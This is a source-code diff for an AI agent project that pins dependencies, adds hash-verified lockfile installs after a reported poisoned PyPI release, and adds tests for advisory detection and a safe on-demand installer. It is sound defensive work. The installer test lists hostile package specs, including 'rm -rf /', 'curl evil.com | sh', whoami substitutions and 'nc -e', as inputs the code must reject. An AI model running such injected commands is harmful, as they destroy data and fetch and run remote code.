"pytest-split==0.11.0", "mcp==1.26.0", "ty==0.0.21", "ruff==0.15.10"] +messaging = ["python-telegram-bot[webhooks]==22.6", "discord.py[voice]==2.7.1", "aiohttp==3.13.3", "slack-bolt==1.27.0", "slack-sdk==3.40.1", "qrcode==7.4.2"] cron = [] # croniter is now a core dependency; this extra kept for back-compat -slack = ["slack-bolt>=1.18.0,<2", "slack-sdk>=3.27.0,<4"] -matrix = ["mautrix[encryption]>=0.20,<1", "Markdown>=3.6,<4", "aiosqlite>=0.20", "asyncpg>=0.29", "aiohttp-socks>=0.10,<1"] -cli = ["simple-term-menu>=1.0,<2"] -tts-premium = ["elevenlabs>=1.0,<2"] +slack = ["slack-bolt==1.27.0", "slack-sdk==3.40.1"] +matrix = ["mautrix[encryption]==0.21.0", "Markdown==3.10.2", "aiosqlite==0.22.1", "asyncpg==0.31.0", "aiohttp-socks==0.11.0"] +cli = ["simple-term-menu==1.6.6"] +tts-premium = ["elevenlabs==1.59.0"] voice = [ # Local STT pulls in wheel-only transitive deps (ctranslate2, onnxruntime), # so keep it out of the base install for source-build packagers like Homebrew. - "faster-whisper>=1.0.0,<2", - "sounddevice>=0.4.6,<1", - "numpy>=1.24.0,<3", + "faster-whisper==1.2.1", + "sounddevice==0.5.5", + "numpy==2.4.3", ] pty = [ - "ptyprocess>=0.7.0,<1; sys_platform != 'win32'", - "pywinpty>=2.0.0,<3; sys_platform == 'win32'", + "ptyprocess==0.7.0; sys_platform != 'win32'", + "pywinpty==2.0.15; sys_platform == 'win32'", ] -honcho = ["honcho-ai>=2.0.1,<3"] -mcp = ["mcp>=1.2.0,<2"] -homeassistant = ["aiohttp>=3.9.0,<4"] -sms = ["aiohttp>=3.9.0,<4"] +honcho = ["honcho-ai==2.0.1"] +mcp = ["mcp==1.26.0"] +homeassistant = ["aiohttp==3.13.3"] +sms = ["aiohttp==3.13.3"] # Computer use — macOS background desktop control via cua-driver (MCP stdio). # The cua-driver binary itself is installed via `hermes tools` post-setup # (curl install script); this extra just pins the MCP client used to talk # to it, which is already provided by the `mcp` extra. -computer-use = ["mcp>=1.2.0,<2"] -acp = ["agent-client-protocol>=0.9.0,<1.0"] -mistral = ["mistralai>=2.3.0,<3"] -bedrock = ["boto3>=1.35.0,<2"] +computer-use = ["mcp==1.26.0"] +acp = ["agent-client-protocol==0.9.0"] +# mistral: extra REMOVED 2026-05-12 — `mistralai` PyPI project quarantined +# after malicious 2.4.6 release (Mini Shai-Hulud worm). Every version of +# `mistralai` returns 404 on PyPI right now, so any pin we'd write is +# unresolvable, which breaks `uv lock --check` in CI. +# +# To restore once PyPI un-quarantines: +# 1. Verify the new release is clean (read the changelog, check Socket +# advisory page, confirm no malicious code review findings). +# 2. Add back: mistral = ["mistralai=="] +# 3. Re-enable Mistral in: +# - tools/lazy_deps.py (LAZY_DEPS["tts.mistral"], LAZY_DEPS["stt.mistral"]) +# - hermes_cli/tools_config.py (un-hide from provider picker) +# - hermes_cli/web_server.py (re-add to dashboard STT options) +# - tools/transcription_tools.py / tools/tts_tool.py (drop disabled stubs) +# 4. Run `uv lock` to regenerate transitives. +# 5. Optionally re-add to [all] only after a few days of clean operation. +bedrock = ["boto3==1.42.89"] termux = [ # Baseline Android / Termux path for reliable fresh installs. - "python-telegram-bot[webhooks]>=22.6,<23", + "python-telegram-bot[webhooks]==22.6", "hermes-agent[cron]", "hermes-agent[cli]", "hermes-agent[pty]", @@ -120,35 +160,41 @@ termux-all = [ "hermes-agent[sms]", "hermes-agent[web]", ] -dingtalk = ["dingtalk-stream>=0.20,<1", "alibabacloud-dingtalk>=2.0.0", "qrcode>=7.0,<8"] -feishu = ["lark-oapi>=1.5.3,<2", "qrcode>=7.0,<8"] +dingtalk = ["dingtalk-stream==0.24.3", "alibabacloud-dingtalk==2.2.42", "qrcode==7.4.2"] +feishu = ["lark-oapi==1.5.3", "qrcode==7.4.2"] google = [ # Required by the google-workspace skill (Gmail, Calendar, Drive, Contacts, # Sheets, Docs). Declared here so packagers (Nix, Homebrew) ship them with # the [all] extra and users don't hit runtime `pip install` paths that fail # in environments without pip (e.g. Nix-managed Python). - "google-api-python-client>=2.100,<3", - "google-auth-oauthlib>=1.0,<2", - "google-auth-httplib2>=0.2,<1", + "google-api-python-client==2.194.0", + "google-auth-oauthlib==1.3.1", + "google-auth-httplib2==0.3.1", ] youtube = [ # Required by skills/media/youtube-content and # optional-skills/productivity/memento-flashcards (youtube_quiz.py). # Without this declaration uv sync omits the package and both skills fail # at first invocation with ModuleNotFoundError (issue #22243). - "youtube-transcript-api>=1.2.0", + "youtube-transcript-api==1.2.4", ] # `hermes dashboard` (localhost SPA + API). Not in core to keep the default install lean. -web = ["fastapi>=0.104.0,<1", "uvicorn[standard]>=0.24.0,<1"] +web = ["fastapi==0.133.1", "uvicorn[standard]==0.41.0"] rl = [ "atroposlib @ git+https://github.com/NousResearch/atropos.git@c20c85256e5a45ad31edf8b7276e9c5ee1995a30", "tinker @ git+https://github.com/thinking-machines-lab/tinker.git@30517b667f18a3dfb7ef33fb56cf686d5820ba2b", - "fastapi>=0.104.0,<1", - "uvicorn[standard]>=0.24.0,<1", - "wandb>=0.15.0,<1", + "fastapi==0.133.1", + "uvicorn[standard]==0.41.0", + "wandb==0.25.1", ] yc-bench = ["yc-bench @ git+https://github.com/collinear-ai/yc-bench.git@bfb0c88062450f46341bd9a5298903fc2e952a5c ; python_version >= '3.12'"] all = [ + "hermes-agent[anthropic]", + "hermes-agent[exa]", + "hermes-agent[firecrawl]", + "hermes-agent[parallel-web]", + "hermes-agent[fal]", + "hermes-agent[edge-tts]", "hermes-agent[modal]", "hermes-agent[daytona]", "hermes-agent[vercel]", diff --git a/scripts/install.ps1 b/scripts/install.ps1 index ed0f802a1c9..56a338ea069 100644 --- a/scripts/install.ps1 +++ b/scripts/install.ps1 @@ -793,30 +793,87 @@ function Install-Dependencies { # Tell uv to install into our venv (no activation needed) $env:VIRTUAL_ENV = "$InstallDir\venv" } - + + # Hash-verified install (Tier 0) — when uv.lock is present, prefer + # `uv sync --locked`. The lockfile records SHA256 hashes for every + # transitive dependency, so a compromised transitive (different hash + # than what we shipped) is REJECTED by the resolver. This is the + # *only* path that protects against the "direct dep is fine, but the + # dep's dep got worm-poisoned overnight" failure mode. The + # `uv pip install` tiers below re-resolve transitives fresh from PyPI + # without any hash verification — they exist to keep installs working + # when the lockfile is stale, missing, or out-of-sync with the + # current extras spec, NOT because they're equivalent in posture. + if (Test-Path "uv.lock") { + Write-Info "Trying tier: hash-verified (uv.lock) ..." + & $UvCmd sync --all-extras --locked + if ($LASTEXITCODE -eq 0) { + Write-Success "Main package installed (hash-verified via uv.lock)" + $script:InstalledTier = "hash-verified (uv.lock)" + # Skip the rest of the tiered cascade — we already have a + # complete, hash-verified install. + $skipPipFallback = $true + } else { + Write-Warn "uv.lock sync failed (lockfile may be stale), falling back to PyPI resolve..." + $skipPipFallback = $false + } + } else { + Write-Info "uv.lock not found — falling back to PyPI resolve (no hash verification)" + $skipPipFallback = $false + } + # Install main package. Tiered fallback so a single flaky git+https dep # (atroposlib / tinker in the [rl] extra) doesn't silently drop # dashboard/MCP/cron/messaging extras. Each tier's stdout/stderr is # preserved — no Out-Null swallowing — so the user can see what failed. # # Tier 1: [all] — everything, including RL git+https deps (best case). - # Tier 2: [core-extras] synthesised locally — all PyPI-only extras we - # ship (web, mcp, cron, cli, voice, messaging, slack, dev, acp, - # pty, homeassistant, sms, tts-premium, honcho, google, mistral, - # bedrock, dingtalk, feishu, modal, daytona, vercel). Drops [rl] - # and [matrix] (linux-only) which are the usual failure culprits. - # Tier 3: [web,mcp,cron,cli,messaging,dev] — the minimum we strongly + # Tier 2: [all] minus a small list of currently-broken extras. The + # broken list is centralised in $brokenExtras below — when + # a package gets quarantined / yanked / pulled, add it here + # and the resolver no longer chokes on it. This is what saves + # the user from silently losing 10+ unrelated extras every + # time one upstream package breaks. + # Tier 3: [core-extras] synthesised locally — all PyPI-only extras we + # ship, also minus $brokenExtras. Drops [rl] and [matrix] + # (linux-only) which are the usual failure culprits. + # Tier 4: [web,mcp,cron,cli,messaging,dev] — the minimum we strongly # believe a user expects `hermes dashboard` / slash commands / # cron / messaging platforms to work out of the box. - # Tier 4: bare `.` — last-resort so at least the core CLI launches. + # Tier 5: bare `.` — last-resort so at least the core CLI launches. + + # Currently-broken extras. Edit this list when an upstream package + # gets quarantined / yanked / breaks resolution. Empty means everything + # in [all] should be installable; populate with the names of extras + # whose deps are temporarily unavailable to keep installs working + # for users. + $brokenExtras = @() + + $allExtras = @( + "modal","daytona","vercel","messaging","matrix","cron","cli","dev", + "tts-premium","slack","pty","honcho","mcp","homeassistant","sms", + "acp","voice","dingtalk","feishu","google","bedrock","web", + "youtube" + ) + $pypiExtras = @( + "web","mcp","cron","cli","voice","messaging","slack","dev","acp", + "pty","homeassistant","sms","tts-premium","honcho","google", + "bedrock","dingtalk","feishu","modal","daytona","vercel","youtube" + ) + $safeAll = ($allExtras | Where-Object { $brokenExtras -notcontains $_ }) -join "," + $safePypi = ($pypiExtras | Where-Object { $brokenExtras -notcontains $_ }) -join "," + $brokenLabel = if ($brokenExtras) { ($brokenExtras -join ", ") } else { "none" } + $installTiers = @( @{ Name = "all (with RL/matrix extras)"; Spec = ".[all]" }, - @{ Name = "PyPI-only extras (no git deps)"; Spec = ".[web,mcp,cron,cli,voice,messaging,slack,dev,acp,pty,homeassistant,sms,tts-premium,honcho,google,mistral,bedrock,dingtalk,feishu,modal,daytona,vercel]" }, + @{ Name = "all minus known-broken ($brokenLabel)"; Spec = ".[$safeAll]" }, + @{ Name = "PyPI-only extras (no git deps)"; Spec = ".[$safePypi]" }, @{ Name = "dashboard + core platforms"; Spec = ".[web,mcp,cron,cli,messaging,dev]" }, @{ Name = "core only (no extras)"; Spec = "." } ) - $installed = $false - foreach ($tier in $installTiers) { + $installed = $skipPipFallback + if (-not $skipPipFallback) { + foreach ($tier in $installTiers) { Write-Info "Trying tier: $($tier.Name) ..." & $UvCmd pip install -e $tier.Spec if ($LASTEXITCODE -eq 0) { @@ -826,6 +883,7 @@ function Install-Dependencies { break } Write-Warn "Tier '$($tier.Name)' failed (exit $LASTEXITCODE). Trying next tier..." + } } if (-not $installed) { throw "Failed to install hermes-agent package even with no extras. Inspect the uv pip install output above." diff --git a/scripts/install.sh b/scripts/install.sh index bc391eee43c..f4fccea7d9e 100755 --- a/scripts/install.sh +++ b/scripts/install.sh @@ -1060,20 +1060,124 @@ install_deps() { fi # Install the main package in editable mode with all extras. - # Try [all] first, fall back to base install if extras have issues. - ALL_INSTALL_LOG=$(mktemp) - if ! $UV_CMD pip install -e ".[all]" 2>"$ALL_INSTALL_LOG"; then - log_warn "Full install (.[all]) failed, trying base install..." - log_info "Reason: $(tail -5 "$ALL_INSTALL_LOG" | head -3)" - rm -f "$ALL_INSTALL_LOG" - if ! $UV_CMD pip install -e "."; then - log_error "Package installation failed." - log_info "Check that build tools are installed: sudo apt install build-essential python3-dev" - log_info "Then re-run: cd $INSTALL_DIR && uv pip install -e '.[all]'" - exit 1 + # + # Hash-verified install (Tier 0) — when uv.lock is present, prefer + # `uv sync --locked`. The lockfile records SHA256 hashes for every + # transitive, so a compromised transitive (different hash than what + # we shipped) is REJECTED by the resolver. This is the *only* path + # that protects against the "direct dep is fine, but the dep's dep + # got worm-poisoned overnight" failure mode. All `uv pip install` + # tiers below re-resolve transitives fresh from PyPI without any + # hash verification — they exist to keep installs working when the + # lockfile is stale, missing, or out-of-sync with the current + # extras spec, NOT because they're equivalent in posture. + if [ -f "uv.lock" ]; then + log_info "Trying tier: hash-verified (uv.lock) ..." + if UV_PROJECT_ENVIRONMENT="$INSTALL_DIR/venv" $UV_CMD sync --all-extras --locked 2>"$(mktemp)"; then + log_success "Main package installed (hash-verified via uv.lock)" + log_success "All dependencies installed" + return 0 fi + log_warn "uv.lock sync failed (lockfile may be stale), falling back to PyPI resolve..." else - rm -f "$ALL_INSTALL_LOG" + log_info "uv.lock not found — falling back to PyPI resolve (no hash verification)" + fi + + # Multi-tier fallback. The point of the tiers is that ONE compromised + # PyPI package (a worm-poisoned release that gets quarantined, like + # mistralai 2.4.6 in May 2026) shouldn't be able to silently demote a + # fresh install all the way down to "core only" — the user should keep + # everything else they signed up for. + # + # Tier 1: [all] — everything, including RL git+https deps (best case). + # Tier 2: [all] minus the currently-broken extras list. Edit + # _BROKEN_EXTRAS below when something on PyPI breaks; this lets + # users keep voice/honcho/google/slack/matrix/etc. even when + # one transitive is unavailable. List the extras here as bare + # names from pyproject.toml [project.optional-dependencies] — + # the script translates them to `[a,b,c]` form below. + # Tier 3: PyPI-only extras (no git deps) — drops [rl] / [yc-bench] + # which are git+https and may fail in restricted networks. + # Tier 4: dashboard + core platforms — minimum viable interactive set. + # Tier 5: bare `.` — last-resort so at least the core CLI launches. + # + # Each tier's stderr is captured to a tempfile so we can show the user + # WHY the higher tier failed instead of silently dropping support. + local _BROKEN_EXTRAS=() # populate when an extra becomes unresolvable + local _ALL_EXTRAS=( + modal daytona vercel messaging matrix cron cli dev tts-premium slack + pty honcho mcp homeassistant sms acp voice dingtalk feishu google + bedrock web youtube + ) + # Tier 2: all extras minus _BROKEN_EXTRAS + local _SAFE_EXTRAS=() + local _e _b _skip + for _e in "${_ALL_EXTRAS[@]}"; do + _skip=false + for _b in "${_BROKEN_EXTRAS[@]}"; do + if [ "$_e" = "$_b" ]; then _skip=true; break; fi + done + if [ "$_skip" = false ]; then _SAFE_EXTRAS+=("$_e"); fi + done + local _SAFE_SPEC + _SAFE_SPEC=".[$(IFS=,; echo "${_SAFE_EXTRAS[*]}")]" + # Tier 3: PyPI-only extras (no git deps), still skipping broken ones. + # Mirrors the install.ps1 list but excludes [rl] / [yc-bench] / [matrix] + # (matrix needs python-olm which fails to build on some hosts). + local _PYPI_EXTRAS=( + web mcp cron cli voice messaging slack dev acp pty homeassistant sms + tts-premium honcho google bedrock dingtalk feishu modal daytona vercel + youtube + ) + local _PYPI_SAFE=() + for _e in "${_PYPI_EXTRAS[@]}"; do + _skip=false + for _b in "${_BROKEN_EXTRAS[@]}"; do + if [ "$_e" = "$_b" ]; then _skip=true; break; fi + done + if [ "$_skip" = false ]; then _PYPI_SAFE+=("$_e"); fi + done + local _PYPI_SPEC + _PYPI_SPEC=".[$(IFS=,; echo "${_PYPI_SAFE[*]}")]" + local _TIER4_SPEC=".[web,mcp,cron,cli,messaging,dev]" + + ALL_INSTALL_LOG=$(mktemp) + local _installed=false + local _tier_name="" + + install_tier() { + local name="$1"; local spec="$2" + log_info "Trying tier: $name ..." + if $UV_CMD pip install -e "$spec" 2>"$ALL_INSTALL_LOG"; then + log_success "Main package installed ($name)" + _installed=true + _tier_name="$name" + return 0 + fi + log_warn "Tier '$name' failed. Top of pip output:" + head -5 "$ALL_INSTALL_LOG" | sed 's/^/ /' >&2 + return 1 + } + + install_tier "all (with RL/matrix extras)" ".[all]" \ + || install_tier "all minus known-broken (${_BROKEN_EXTRAS[*]:-none})" "$_SAFE_SPEC" \ + || install_tier "PyPI-only extras (no git deps)" "$_PYPI_SPEC" \ + || install_tier "dashboard + core platforms" "$_TIER4_SPEC" \ + || install_tier "core only (no extras)" "." + + rm -f "$ALL_INSTALL_LOG" + + if [ "$_installed" = false ]; then + log_error "Package installation failed even with no extras." + log_info "Check that build tools are installed: sudo apt install build-essential python3-dev" + log_info "Then re-run: cd $INSTALL_DIR && uv pip install -e '.[all]'" + exit 1 + fi + + if [ "$_tier_name" != "all (with RL/matrix extras)" ]; then + log_warn "Note: installed via fallback tier ($_tier_name)." + log_info "Some optional features may be missing. After resolving any" + log_info "PyPI/network issue, re-run: $UV_CMD pip install -e '.[all]'" fi log_success "Main package installed" diff --git a/setup-hermes.sh b/setup-hermes.sh index 4d83f94ffb8..9690d6a23a6 100755 --- a/setup-hermes.sh +++ b/setup-hermes.sh @@ -183,17 +183,57 @@ if is_termux; then else # Prefer uv sync with lockfile (hash-verified installs) when available, # fall back to pip install for compatibility or when lockfile is stale. + # + # Multi-tier pip fallback. Goal: ONE compromised PyPI package + # (mistralai 2.4.6 in May 2026 → quarantined) shouldn't silently demote + # a fresh setup to "core only". Edit _BROKEN_EXTRAS when a transitive + # breaks; users keep voice / honcho / google / slack / matrix etc. even + # if mistral can't resolve. + _BROKEN_EXTRAS=() # populate when an extra becomes unresolvable + _ALL_EXTRAS=( + modal daytona vercel messaging matrix cron cli dev tts-premium slack + pty honcho mcp homeassistant sms acp voice dingtalk feishu google + bedrock web youtube + ) + _SAFE_EXTRAS=() + for _e in "${_ALL_EXTRAS[@]}"; do + _skip=false + for _b in "${_BROKEN_EXTRAS[@]}"; do + [ "$_e" = "$_b" ] && _skip=true && break + done + [ "$_skip" = false ] && _SAFE_EXTRAS+=("$_e") + done + _SAFE_SPEC=".[$(IFS=,; echo "${_SAFE_EXTRAS[*]}")]" + _try_install() { + $UV_CMD pip install -e ".[all]" \ + || $UV_CMD pip install -e "$_SAFE_SPEC" \ + || $UV_CMD pip install -e "." + } + if [ -f "uv.lock" ]; then + # Hash-verified install (preferred). The lockfile records SHA256 + # hashes for every transitive — a compromised transitive would have + # a different hash and be REJECTED by uv. This is the only path + # that protects against transitive-package supply-chain attacks + # (the direct deps in pyproject.toml are exact-pinned, but + # `uv pip install` re-resolves transitives fresh from PyPI). echo -e "${CYAN}→${NC} Using uv.lock for hash-verified installation..." - UV_PROJECT_ENVIRONMENT="$SCRIPT_DIR/venv" $UV_CMD sync --all-extras --locked 2>/dev/null && \ - echo -e "${GREEN}✓${NC} Dependencies installed (lockfile verified)" || { - echo -e "${YELLOW}⚠${NC} Lockfile install failed (may be outdated), falling back to pip install..." - $UV_CMD pip install -e ".[all]" || $UV_CMD pip install -e "." - echo -e "${GREEN}✓${NC} Dependencies installed" - } + _UV_SYNC_LOG=$(mktemp) + if UV_PROJECT_ENVIRONMENT="$SCRIPT_DIR/venv" $UV_CMD sync --all-extras --locked 2>"$_UV_SYNC_LOG"; then + echo -e "${GREEN}✓${NC} Dependencies installed (hash-verified via uv.lock)" + rm -f "$_UV_SYNC_LOG" + else + echo -e "${YELLOW}⚠${NC} Lockfile sync failed (lockfile may be stale)." + echo -e "${YELLOW}⚠${NC} Falling back to PyPI resolve — transitives will NOT be hash-verified." + head -5 "$_UV_SYNC_LOG" | sed 's/^/ /' + rm -f "$_UV_SYNC_LOG" + _try_install + echo -e "${GREEN}✓${NC} Dependencies installed (transitives re-resolved, not hash-verified)" + fi else - $UV_CMD pip install -e ".[all]" || $UV_CMD pip install -e "." - echo -e "${GREEN}✓${NC} Dependencies installed" + echo -e "${YELLOW}⚠${NC} uv.lock not found — installing without hash verification of transitives." + _try_install + echo -e "${GREEN}✓${NC} Dependencies installed (transitives re-resolved, not hash-verified)" fi fi diff --git a/tests/hermes_cli/test_security_advisories.py b/tests/hermes_cli/test_security_advisories.py new file mode 100644 index 00000000000..0a745269a5e --- /dev/null +++ b/tests/hermes_cli/test_security_advisories.py @@ -0,0 +1,330 @@ +"""Tests for hermes_cli.security_advisories. + +The advisory module is the user-facing detection / remediation surface +for supply-chain attacks (e.g. the Mini Shai-Hulud worm of May 2026 that +poisoned mistralai 2.4.6 on PyPI). These tests exercise the public API in +isolation — no real package metadata, no real config, no real cache. +""" + +from __future__ import annotations + +import time +from pathlib import Path +from typing import Iterator + +import pytest + +import hermes_cli.security_advisories as adv + + +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- + + +@pytest.fixture +def fake_advisory() -> adv.Advisory: + """A self-contained Advisory used across tests.""" + return adv.Advisory( + id="test-advisory-2026-99", + title="Test advisory", + summary="Pretend this package has been compromised.", + url="https://example.com/advisory", + compromised=( + ("fake-malicious-pkg", frozenset({"6.6.6"})), + ), + remediation=( + "pip uninstall -y fake-malicious-pkg", + "Rotate any credentials that may have been exposed.", + ), + published="2026-01-01", + severity="critical", + ) + + +@pytest.fixture +def isolated_home(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path: + """Redirect HERMES_HOME so banner cache and config writes are sandboxed.""" + home = tmp_path / ".hermes" + home.mkdir() + (home / "cache").mkdir() + monkeypatch.setattr(Path, "home", lambda: tmp_path) + monkeypatch.setenv("HERMES_HOME", str(home)) + return home + + +@pytest.fixture +def patched_version(monkeypatch: pytest.MonkeyPatch) -> Iterator[dict[str, str]]: + """Override _installed_version with a controllable lookup table.""" + table: dict[str, str] = {} + monkeypatch.setattr(adv, "_installed_version", lambda pkg: table.get(pkg)) + yield table + + +# --------------------------------------------------------------------------- +# detect_compromised +# --------------------------------------------------------------------------- + + +class TestDetectCompromised: + def test_no_match_returns_empty_list(self, fake_advisory, patched_version): + # No matching package installed. + hits = adv.detect_compromised(advisories=[fake_advisory]) + assert hits == [] + + def test_exact_version_match(self, fake_advisory, patched_version): + patched_version["fake-malicious-pkg"] = "6.6.6" + hits = adv.detect_compromised(advisories=[fake_advisory]) + assert len(hits) == 1 + assert hits[0].advisory.id == fake_advisory.id + assert hits[0].package == "fake-malicious-pkg" + assert hits[0].installed_version == "6.6.6" + + def test_safe_version_does_not_match(self, fake_advisory, patched_version): + # Package is installed but the version is not in the compromised set. + patched_version["fake-malicious-pkg"] = "6.6.5" + hits = adv.detect_compromised(advisories=[fake_advisory]) + assert hits == [] + + def test_empty_compromised_set_matches_any_version( + self, patched_version + ): + # An advisory with an empty version set is a "any version is suspect" + # wildcard — used when an entire maintainer namespace is owned. + wildcard = adv.Advisory( + id="wildcard", + title="Whole namespace owned", + summary="x", + url="x", + compromised=(("evil-namespace", frozenset()),), + remediation=("uninstall it",), + ) + patched_version["evil-namespace"] = "0.0.1" + hits = adv.detect_compromised(advisories=[wildcard]) + assert len(hits) == 1 + assert hits[0].installed_version == "0.0.1" + + +# --------------------------------------------------------------------------- +# Acknowledgement persistence +# --------------------------------------------------------------------------- + + +class TestAck: + def test_get_acked_ids_empty_when_no_config(self, monkeypatch): + # load_config raises → returns empty set, doesn't crash. + monkeypatch.setattr( + "hermes_cli.config.load_config", + lambda: (_ for _ in ()).throw(RuntimeError("boom")), + ) + assert adv.get_acked_ids() == set() + + def test_filter_unacked_strips_dismissed(self, fake_advisory, monkeypatch): + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + monkeypatch.setattr(adv, "get_acked_ids", lambda: {fake_advisory.id}) + assert adv.filter_unacked([hit]) == [] + + def test_filter_unacked_passes_through_unknown( + self, fake_advisory, monkeypatch + ): + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + assert adv.filter_unacked([hit]) == [hit] + + def test_ack_advisory_persists_id(self, isolated_home, monkeypatch): + # Stub the config layer end-to-end with a tiny in-memory store so we + # don't depend on the full hermes_cli.config bootstrap. + store: dict = {"security": {}} + monkeypatch.setattr( + "hermes_cli.config.load_config", lambda: store + ) + monkeypatch.setattr( + "hermes_cli.config.save_config", + lambda cfg: store.update(cfg) or None, + ) + assert adv.ack_advisory("test-advisory-2026-99") is True + assert "test-advisory-2026-99" in store["security"]["acked_advisories"] + # Idempotent. + adv.ack_advisory("test-advisory-2026-99") + assert ( + store["security"]["acked_advisories"].count("test-advisory-2026-99") + == 1 + ) + + def test_ack_advisory_rejects_blank(self, isolated_home): + assert adv.ack_advisory("") is False + assert adv.ack_advisory(" ") is False + + +# --------------------------------------------------------------------------- +# Banner cache rate limiting +# --------------------------------------------------------------------------- + + +class TestBannerCache: + def test_first_call_returns_due_hits( + self, fake_advisory, isolated_home, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + due = adv.hits_due_for_banner([hit]) + assert due == [hit] + + def test_second_call_within_window_suppresses( + self, fake_advisory, isolated_home, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + adv.hits_due_for_banner([hit]) + # Same banner inside repeat window → suppressed. + again = adv.hits_due_for_banner([hit]) + assert again == [] + + def test_call_after_window_re_banners( + self, fake_advisory, isolated_home, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + adv.hits_due_for_banner([hit]) + # Backdate the cache so it looks like the banner was shown more + # than 24h ago — should re-banner. + cache_path = adv._banner_cache_path() + assert cache_path is not None + old_lines = cache_path.read_text(encoding="utf-8").splitlines() + backdated = [] + for line in old_lines: + parts = line.split(None, 1) + if len(parts) == 2: + backdated.append(f"{parts[0]} {time.time() - 48 * 3600}") + cache_path.write_text("\n".join(backdated) + "\n", encoding="utf-8") + again = adv.hits_due_for_banner([hit]) + assert again == [hit] + + def test_acked_hits_never_banner( + self, fake_advisory, isolated_home, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: {fake_advisory.id}) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + assert adv.hits_due_for_banner([hit]) == [] + + +# --------------------------------------------------------------------------- +# Rendering +# --------------------------------------------------------------------------- + + +class TestRendering: + def test_short_banner_lines_includes_id_and_version(self, fake_advisory): + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + lines = adv.short_banner_lines([hit]) + joined = "\n".join(lines) + assert fake_advisory.id in joined + assert fake_advisory.title in joined + assert "fake-malicious-pkg==6.6.6" in joined + assert "hermes doctor" in joined + + def test_full_remediation_text_contains_all_steps(self, fake_advisory): + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + body = "\n".join(adv.full_remediation_text(hit)) + # All remediation steps must be present. + for step in fake_advisory.remediation: + assert step in body + assert fake_advisory.url in body + assert fake_advisory.summary in body + + def test_render_doctor_section_clean_state(self): + # No hits → success message, has_problems=False. + has_problems, lines = adv.render_doctor_section([]) + assert has_problems is False + assert any("No active security advisories" in line for line in lines) + + def test_render_doctor_section_with_unacked_hit( + self, fake_advisory, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + has_problems, lines = adv.render_doctor_section([hit]) + assert has_problems is True + body = "\n".join(lines) + assert fake_advisory.title in body + + def test_gateway_log_message_singular(self, fake_advisory, monkeypatch): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + msg = adv.gateway_log_message([hit]) + assert msg is not None + assert fake_advisory.id in msg + assert "fake-malicious-pkg==6.6.6" in msg + + def test_gateway_log_message_returns_none_for_no_hits(self): + assert adv.gateway_log_message([]) is None + + +# --------------------------------------------------------------------------- +# Real catalog smoke test +# --------------------------------------------------------------------------- + + +class TestRealCatalog: + def test_advisories_well_formed(self): + """Every shipped advisory must be self-consistent. + + Catches data-entry mistakes (empty IDs, missing remediation, bad + compromised tuples) before they ship. + """ + seen_ids: set[str] = set() + for advisory in adv.ADVISORIES: + assert advisory.id, "advisory has empty id" + assert advisory.id not in seen_ids, f"duplicate id {advisory.id}" + seen_ids.add(advisory.id) + assert advisory.title, f"{advisory.id}: empty title" + assert advisory.summary, f"{advisory.id}: empty summary" + assert advisory.remediation, f"{advisory.id}: empty remediation" + assert advisory.url.startswith("http"), \ + f"{advisory.id}: bad url {advisory.url!r}" + assert advisory.compromised, \ + f"{advisory.id}: empty compromised tuple" + for pkg, versions in advisory.compromised: + assert pkg, f"{advisory.id}: empty package name" + assert isinstance(versions, frozenset), \ + f"{advisory.id}: versions must be frozenset" diff --git a/tests/tools/test_lazy_deps.py b/tests/tools/test_lazy_deps.py new file mode 100644 index 00000000000..9beecc0d995 --- /dev/null +++ b/tests/tools/test_lazy_deps.py @@ -0,0 +1,228 @@ +"""Tests for tools.lazy_deps — the supply-chain-resilient on-demand installer. + +The lazy_deps module is the architectural fix for the "one quarantined +package nukes 10 unrelated extras" problem. It exposes ``ensure(feature)`` +which only installs from a strict allowlist, refuses anything that looks +like a URL / file path, runs venv-scoped, and respects the +``security.allow_lazy_installs`` config flag. + +These tests cover the security boundary and the public API. The real pip +call is mocked — we never actually shell out during unit tests. +""" + +from __future__ import annotations + +from typing import Iterator + +import pytest + +import tools.lazy_deps as ld + + +# --------------------------------------------------------------------------- +# Spec safety +# --------------------------------------------------------------------------- + + +class TestSpecSafety: + @pytest.mark.parametrize("spec", [ + "mistralai>=2.3.0,<3", + "elevenlabs>=1.0,<2", + "honcho-ai>=2.0.1,<3", + "boto3>=1.35.0,<2", + "mautrix[encryption]>=0.20,<1", + "google-api-python-client>=2.100,<3", + "youtube-transcript-api>=1.2.0", + "qrcode>=7.0,<8", + "package", # bare name, no version + "package==1.0.0", + "package~=1.0", + ]) + def test_safe_specs_pass(self, spec): + assert ld._spec_is_safe(spec), f"expected {spec!r} to be safe" + + @pytest.mark.parametrize("spec", [ + # URL-shaped → rejected (no remote origin override allowed) + "git+https://github.com/foo/bar.git", + "https://example.com/foo.tar.gz", + # File path → rejected + "/etc/passwd", + "./local-malware", + "../escape", + # Shell metacharacters → rejected + "package; rm -rf /", + "package && curl evil.com | sh", + "package`whoami`", + "package$(whoami)", + "package|nc -e", + # Pip flag injection → 